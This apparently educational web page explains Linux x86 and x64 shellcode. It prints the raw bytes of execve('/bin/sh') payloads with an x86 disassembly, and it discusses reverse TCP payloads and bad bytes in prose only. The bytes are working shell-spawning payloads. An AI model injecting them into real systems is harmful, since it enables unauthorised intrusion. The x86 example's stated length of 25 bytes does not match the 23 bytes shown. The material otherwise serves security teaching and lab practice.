Shellcode examples: Linux x86 and x64, byte by byte
Annotated shellcode examples for Linux x86 and x64 — execve /bin/sh and reverse TCP — with the bytes, the disassembly, and the gotchas.
The fastest way to understand shellcode is to read it. Below are working examples with the bytes and what each part does. New to the topic? Start with what shellcode is.
execve("/bin/sh") — Linux x86 (25 bytes)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
Disassembled:
xor eax, eax ; eax = 0, also a clean NUL source
push eax ; null-terminate the string
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ebx -> "/bin//sh"
push eax ; argv null
push ebx ; argv[0]
mov ecx, esp ; ecx -> argv
mov al, 0x0b ; syscall 11 = execve
int 0x80
Note the // in /bin//sh: it pads the string to a 4-byte boundary and the kernel treats double slashes as one. A small trick that keeps the pushes aligned without a null byte.
execve("/bin/sh") — Linux x64 (31 bytes)
\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05
x64 changes the calling convention: arguments go in rdi, rsi, rdx, the syscall number in rax (59 = execve), and you use the syscall instruction instead of int 0x80.
Reverse TCP
Reverse TCP examples are larger because they embed the listener IP and port in a sockaddr struct — which is exactly where bad bytes love to hide. An IP octet of 0 or a port that encodes to a forbidden byte will quietly corrupt the connection details, so the payload runs but never calls home. Rather than paste a brittle blob, generate one for your own listener and inspect it. The lab process is in the reverse TCP checklist.
Why the same example can fail on your box
A working example is not portable by default. Syscall numbers differ between x86 and x64, the int 0x80 versus syscall instruction differs, and a payload tuned for one bad-char set may carry bytes your delivery path forbids. When a known-good example fails, suspect the environment — architecture, delivery constraints, encoding — before the logic.
Spotting bad bytes in any example
Before you trust an example off the internet, check it for the byte values your delivery cannot carry. Copy-pasted shellcode that "doesn't work" is usually a null-byte or encoding problem, not a logic problem — see null bytes in shellcode.
Generate your own variants
Static examples are for learning. For an engagement you want bytes matched to your target architecture, format, and bad-char set. Build and encode them in the Shellcodes builder, then disassemble to confirm they do what you think.